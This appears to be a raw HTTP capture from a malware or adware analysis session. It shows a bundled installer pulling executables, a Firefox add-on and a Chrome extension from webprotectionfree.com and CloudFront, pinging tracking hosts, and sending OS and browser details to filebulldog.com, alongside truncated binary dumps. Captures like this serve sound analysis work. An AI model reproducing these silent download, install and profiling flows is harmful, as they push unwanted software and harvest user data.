0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.<<< skipped >>>

GET /?gfe_rd=cr&ei=hlo3VY3UFsHDNNvHgagN HTTP/1.1

Host: VVV.google.com.ua

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=hlo3VY3UFsHDNNvHgagN&gws_rd=ssl

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=dbe78c8f5fa7fb0e:FF=0:TM=1429691014:LM=1429691014:S=xDWc4BWUX95V4WWI; expires=Fri, 21-Apr-2017 08:23:34 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=67=fxWU35gqYwkqwmqkMEm0YHhFjNuAIq0YKmcv_tvxtKaNvyxR2zVmPQzdB8CQplUxWpCdrkjhQptItKOnqXxxUXTA42NN_HFv-Ngq5HfFOyND948vUuUKf6LdxT-Sx3f1; expires=Thu, 22-Oct-2015 08:23:34 GMT; path=/; domain=.google.com.ua; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Date: Wed, 22 Apr 2015 08:23:34 GMT

Server: gws

Content-Length: 276

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=hlo3VY3UFsH
DNNvHgagN&gws_rd=ssl">here</A>...</BODY></HTML&g
t;..HTTP/1.1 302 Found..Location: hXXps://VVV.google.com.ua/?gfe_rd=cr
&ei=hlo3VY3UFsHDNNvHgagN&gws_rd=ssl..Cache-Control: private..Content-T
ype: text/html; charset=UTF-8..Set-Cookie: PREF=ID=dbe78c8f5fa7fb0e:FF
=0:TM=1429691014:LM=1429691014:S=xDWc4BWUX95V4WWI; expires=Fri, 21-Apr
-2017 08:23:34 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID=67=
fxWU35gqYwkqwmqkMEm0YHhFjNuAIq0YKmcv_tvxtKaNvyxR2zVmPQzdB8CQplUxWpCdrk
jhQptItKOnqXxxUXTA42NN_HFv-Ngq5HfFOyND948vUuUKf6LdxT-Sx3f1; expires=Th
u, 22-Oct-2015 08:23:34 GMT; path=/; domain=.google.com.ua; HttpOnly..
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/a
ccounts/bin/answer.py?hl=en&answer=151657 for more info."..Date: Wed, 
22 Apr 2015 08:23:34 GMT..Server: gws..Content-Length: 276..X-XSS-Prot
ection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol
: 80:quic,p=1..<HTML><HEAD><meta http-equiv="content-ty
pe" content="text/html;charset=utf-8">.<TITLE>302 Moved</T
ITLE></HEAD><BODY>.<H1>302 Moved</H1>.The d
ocument has moved.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&
;ei=hlo3VY3UFsHDNNvHgagN&gws_rd=ssl">here</A>...</<<< skipped >>>

GET /pin.gif?e=updinst&s=9813&i={B6FABE4B-0DC3-48A0-A1B9-9E28DD633AC3}" HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: track.madagascardomain.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:08 GMT

Server: Apache/2.4.7 (Ubuntu)

Last-Modified: Thu, 07 Aug 2014 08:18:11 GMT

ETag: "22-50005baba6d35"

Accept-Ranges: bytes

Content-Length: 34

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: image/gif

GIF89a.............,...........C.;..

GET /v4/searchprotect/267123711_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:49 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.38 ms","message":"store 4 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 20
15 08:23:49 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.38 ms","message":"store 4 ac
tion and 0 update "}..0..

GET /node/?s=9813&br=4 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:07 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../c/LiveUpdateWPP_is.exe

0......

GET /c/LiveUpdateWPP_is.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:07 GMT

Content-Type: application/octet-stream

Content-Length: 270145

Last-Modified: Tue, 21 Apr 2015 16:43:17 GMT

Connection: keep-alive

ETag: "55367e25-41f41"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................^...|.......0.......p....@.........................
.................................................t..........8.........
...................................................................p..
.............................text....].......^.................. ..`.r
data.......p.......b..............@[email protected]..........
....@....ndata...................................rsrc...8............z
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /node/?s=9813&br=2 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:08 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../a/9813.xpi

0......

GET /a/9813.xpi HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:08 GMT

Content-Type: application/x-xpinstall

Content-Length: 39202

Last-Modified: Mon, 30 Mar 2015 12:17:50 GMT

Connection: keep-alive

ETag: "55193eee-9922"

Accept-Ranges: bytes
PK.........|}F..O.8...........chrome/content/main.js.W[o.H.~&R.....o)N
 .vU Z.1n..M6n.'.a...3...F ...a...i..~....;......[.Y$.c...]#..h.......
......Z.G[8...../....'......g>sW...g.W.'...CM........A.9%.).'..=...
.*\.g.../..M....S...p........v<.2./W..\.......z.Fa..2%.q......x..u.
....r".v....]....4...B.q..[>...n.....O...&{._..G.tI...b..;<.Y.y.
8.n.E....4.x*'..E..S.$..B.r..j$."..S...fF..i..H..!......~..OB.1....Gt3
 .E.......B.1......~.(%U.uv...W..tK\7t.S.....0...>...`F...P.r.u Y..
c.......2<........c.Y.E.. .WV..Z...v..eS.V.Q.....^MrK.%~.E.l.b...*l
n<..x..e...~....:2_.F...ja.UN>....5/y........*.t.....|...l....z.
.....`.&D....2..k. .O."......e....:[email protected]>.!zk<4......O.(..:2..
c"..I..E..Y;@..$*....BU.........jo.....ubo.Q....i|&..<....=..p.....
<...m...U......b,.2@.......<7..&.7.v.v1..-....`.6........L..o.t.
.[.../.....%&d o.K.......$...d:......%[email protected].`....&^
Q.;7...Rr.]ij.V...;.....r<...i. 3........^&{)....6......./L...O^..l
..?.,..5....._.]..k?.T..U...S..9./z...b...j...#.J.2.xf..G.D. 4...O...q
q....d..q......1...&if#......!=..U...%^.yO.....%......O......U.q..O.Yf
h..W-0.N$.M.e(.J.?(.......l...>[email protected].........|}
FF.a.............chrome/content/main.xul.TMo.0.='@....v.....d..t....C.
....... ..._?}8_.....d.......q.$9.uB....{[email protected]../_.O.......9.%...Ika
[......c=l...5j..^(.q...9Jp4PR..Y8G:.SJ>....26...n>...S.U..,i.hB
.....\..[,.K6........BJ..{.;..,.q.=......\.\ 9.....'.l...08.......5bC.
..<.)q.....V......V.KQ...G._......ws..".6......]>Y.;./..N.Z.<<< skipped >>>

GET /node/?s=9813&br=5 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:09 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../c/SetupWPP.exe

0......

GET /c/SetupWPP.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:09 GMT

Content-Type: application/octet-stream

Content-Length: 257237

Last-Modified: Sun, 22 Feb 2015 09:29:46 GMT

Connection: keep-alive

ETag: "54e9a18a-3ecd5"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........(............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...(............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /node/?s=9813&br=3 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:09 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../c/webprotector_chrome

0......

GET /c/webprotector_chrome HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:09 GMT

Content-Type: application/octet-stream

Content-Length: 32

Last-Modified: Thu, 22 Jan 2015 19:42:16 GMT

Connection: keep-alive

ETag: "54c15298-20"

Accept-Ranges: bytes

kfecnpmgnlnbmipaogfhoacoioifjgko....

GET /node/?s=9813&br=1 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:10 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Location: ../c/webprotector_installer.exe

0......

GET /c/webprotector_installer.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:10 GMT

Content-Type: application/octet-stream

Content-Length: 288140

Last-Modified: Tue, 31 Mar 2015 13:09:04 GMT

Connection: keep-alive

ETag: "551a9c70-4658c"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s...........C........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...@[email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=803956-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 482373

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:18:06 GMT

Content-Range: bytes 803956-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 59230305fa4e8eba32de075786d44476.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Tinzf8O3WOVHPmG7uMaO9SSlOAvOsm5hpl1YzabN8h8TYABABbwmdQ==
.P........}..X..).....h,*S...iN. ..%.-W...#..;..'dI7.K..M....'.N.?(L..
#5.....L..f..b.Y....!......JP..{O....f.. L%btTB...bo...iN..iI..Su.....
..Y}>..s"..i mh....@._U].....G.>..9.^..`...."!......i(...s.&..g.
...7.p7.Q......H..^...@i6....|.,.".5`T;r$.;....K............>UX(...
N.X..,[email protected]=..J.a...w.'.{\A>.&...*....y\.GY..&.."r..y......
....!2.^..7..cE...'[....a)..wC..2.3....6t..u..1...6x.A.............2!.
W....Y;.N........v..a..f.x{f\O'LM....../=.....s..hXKE......;~t...P.=..
...|W.7........,..wC..m_...........w.......!..{Z.b..fu.pE.T&...eP".. 5
..4\J]........5V..........L..WyS...._....b.....4..u.czY..I...1..t.G.U.
....d}.moe)..Q...6X....X..ia...1....8`.n..O....-..."./^....QDW..P.....
.w.......w.Y^..[...2/q.s/i.....N..#.....fa....P.....r..%m.m.m.B...\k..
.p.j.g8t.....7./..vG........P.m.L.....?.<g....P....#'... ..D..7|n..
..#[.3.U..}....D...=..?. e.`...;p.. i..........<..wC._.51........Q.
"Ar....&.e......W....u6"...]..I.9.6...r....m. 9n...v."...*.X."..25...6
..-0..&3.I..&y6>.{.}m/[email protected]..
..8,{'L.bv..V:...V%[email protected]........!=Z...o...'. ....\..2%_$.B{.D.H.
...._.dD.....=Q..:z...Z.}RJF.o.W(.X!...<...].7.;9R....];=....GH..Fm
....A:'} .1........)...vJ...$7.;). 1..y......"v>.bF:.-50;#....,..9.
q..........iN...4.6uJj....F ..a.d...1..re........_.\p..m.ZX..9...t.[..
.D..`y.......p.kg.4....q1......U..W.:..>...<P....r..B. C.<).~
....K9..,.y... .. 4........~.0@>.BM...$hh...:7...P}0.A*TC...N..Ch..
O.T.L..U.n..B..@{.,*n..}N..fi..~..6..}C.Hg.......p.;.ZS.W.i..0...:<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1286329

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 23 Mar 2015 21:39:23 GMT

Content-Range: bytes 0-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 954e53c2911d47d729ae27754b6408a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6EFsx2JxuE5R7yaM8fKrHwIfqwHwiILQQRmrIBTZMt-lWpNpBXhg9g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1396

content-transfer-encoding: binary

Cache-Control: max-age=422196, public, no-transform, must-revalidate

Last-Modified: Mon, 20 Apr 2015 05:40:05 GMT

Expires: Mon, 27 Apr 2015 05:40:05 GMT

Date: Wed, 22 Apr 2015 08:24:52 GMT

Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0......Qw.}`[email protected]
0054005Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
.%Qq.........w.O.....20150420054005Z....20150427054005Z0...*.H........
.....jBq`.<.. . ...FG--&.......b..}&..."[email protected]..$%.........T
......A...G&S...v.o..k./&.....BJ.C...z..Nu:...y....HT...1H.#n....1.E0.
...{".........M...X.}..GT..%..=..a....)2...v .!....)E....]'..O'.....d,
........ ......t...g..O.{h..1(..y..i...w$...Y=.q?...C.....0...0...0..y
.......^..........N...)0...*.H........0J1.0...U....US1.0...U....Thawte
, Inc.1$0"..U....Thawte Code Signing CA - G20...150303000000Z..1506012
35959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code Sig
ning CA - G2 OCSP Responder0.."0...*.H.............0............).Z...
....O.~.l...,\.3.".'.'W .ih./..}OA...K...HJd....K^..<.....-.rWJ.j.U
.._......W.../.6....J.y.u-.\...2..U.52B.>...=F...RbR.y.zm.......{b.
bj....Y..J..m...*=.^......V.}p......rmA......9.L ...{?.g.-Y...........
.8...k.$.:.5..6#4..F.#....t.B.8.O)'F.p).........d0b0...U....0.0...U.%.
.0... .......0...U........0... .....0......0"..U....0...0.1.0...U....T
GV-B-32450...*.H..............C.....8.Aw.{....`...y1N...W4M..M.J.3~..7
#}..X..:x..5....$...Z^%.?6..e...}I.)....... .A.w......_...B..j.T..Yu.o
.....g....H....q.Ju.SA`K.....~..O_.....S....I>..O.X..E.......]...y.
.L..F....K......../...._XSk6.:a};.?`...:^.....p....4Z.3L;.......t....&
gt;.....j....<<< skipped >>>

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=366385-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 219829

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 366385-586213/586214

X-Cache: Hit from cloudfront

Via: 1.1 4073d53204b53a7ba5b11cb75338cb54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7eWyaZjrVY6D2MdB1L5mlTSpmfznk3_DKcczvAZ7jS6IGBCiJVw0-w==
k..........<M.x.]YT./H.g..D.-R....=.kk...\.{r.L......s.....;D....S.
k.A|]s..o..8...[...<.M...wU..`....U. *. ........QC. ...L...0I..d)..
.,r....o<F......s7m..Q...[B.rS.^.../8.QC[..\nO..f.})...|......1..4.
>..cS.o.%...f..~..~......%.... B,...R.-1.....A.i...U....Yue.).n..:4
.=.....~....t..(B.,...*V.PD...0F....5.00.7/.....h.I....q#l..c..h.[%.F?
MB.M..(.ov......I6.T$.b........&9..[.|.W...#......}q1O.}.nAz.s\...xn.b
....N.....m~...r....p........>.........sm...V..Y.K9y....1....*W.c..
..}.9M......(.*....6...u..D.7..q......c....v...8..j.&...:5.....Gw .E0.
[email protected][-..X..G.J."*.......H..l.....[f...
.\...U.<.Q.;..g9>zR.4.._..........T......C...W.D..K... L..T.1.&l
t;.(%....X|.P!........7.d.Rv.2......H....{~.'...FU..i?.KKI]q...Y...Y.b
....hxt..8...........gin........'..j.....B...._..#.....B.u..4....q$;..
c45.Q.Oz..3]|...}......w...0&..R.G....|....*..j....i.0.....\....u.....
VVc..`..6...4<.n8.9Z..{.R.1?Jw.....:.A.. j........eV.&|-I."4.. ...T
._.!...=.R..Z.u.sj.N.u.......2.C.....bOn<....|....ON.5.#..h..%">
[email protected]$..t"..c..F..v[4..9DF.....P.#.....:z ...L...,...f.G..H...
.%..e..!#.3)...L-X..^.....S...Q..L...|...>.]..........s.zQe!g....6.
.W...d...w?..:...6?;.|tQ..v.....Kw..n#ZyJ..HUH. 8I.w..m..c..g...l).M.R
=r.........D...CH.R.....Z..k5..=..z590.v....7.%..\.H(WK.&.?~....%K.b.&
gt;.F.....K.|.:a.Q....(Fp.R.....>..K}......o7N.[........?|;VQ....l.
?.$..7....c......w$........]\[email protected].:.....ZL.....h.
&...bi..Z/.M}Gp..<..`&)....6$...V....>#..4..VO][email protected]..=<<< skipped >>>

GET /awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.5.10.1429690889; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:23:49 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.6..?.....8...v...0......#..nI... ...LR."j_.w-..
..]..P.(.......".BU..Uk|....,Y~.H...d|....{.4..o.qo...F2...t......_.}.
H.......`.~Xn...b....3;.8kD...}.^.......e<...S...%.n...Yo.n..w..l.i
J}....i.rx:...h......q.M../{%}.N._...l.<MFir../..g..t<.~Y....l./
...2],....i....d.N..89?...r~...........[....l0H.....'Z.Y.....<=]./.
.7...J.M.....7..]|...*.],..t.]....".......0x79.c..Y".....x.........2..
.=].;F..(u.E.\...)..d.......1....,..*<....E....d.N.x.....t8ya0.....
....i6g....#. ....!:.8.....t.`O.....b..<....4KN..8]d..v.2..........
x.-..>n8DA[...;..y.H/.9V...{.D.N'.Y....e..f......4.&..>&..q7...3
S.b....)>,.w.j...?...xn).....O...`._.O.....,..&...r......U.S...]..L
.....}..]:...n*..}.K..1.z...^........s...?g.Q...a..m.L<..@KF..{q9^f
.r....p>..8...g...t.-.}.,u..2..!...-.qc..G.,....,..G....Q.o.....O.]
[email protected]....&..ct..!..)*.....8:.
]...Wo....)..>.L....J...=...N{.0v.L.....9.X.Qso'.....k...nw......vf
6..nY.^..n..^%...............|..wwvw.^..A..s..._.~........`.....l...{.
.......B/.vA......q.k.............<..l.....\..A.*........e..:w.....
........wQ......-.....C.._..._...._.~,wk?.......vx...{.j..~.....`v.|..
.P..../...{o(_........../\.w.`=s......[........]?>w..{..~.......x&g
t;......z..i.H."m=...E.x$.2..BD........^<.......O..8b...R.6Y......6
..!...?U.)8....o..%.2..^...v..... U..}.....y../..hp9.v....0i]....|z.A.
..g...p.[....q.....lh.......[H.x.<m.l.[A .G=.r.0.7Y*.v..{..8.....v;
m]e.f......=......(=..>.m..Yf`...y...............Ov....e....m..<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Content-Length: 2766

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.5.10.1429690889; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1

country=UA&uid_orig=6f9bf9cef49cde4880978c5eccca4dc0&uid=6f9bf9cef49cde4880978c5eccca4dc0&affid=awde7zip53656&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTgw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=bf183e0696310aba8feb7c258cdab6c1&tokyo_csrf_timestamp=1429691029&unique_id=bbef8102d6345f6e5aea4567f3493da7&clientIp=193
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:23:50 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
ff3.............\ms.6.. ....B....:.8i..4.....^..P$(!&..$%....{....7;..
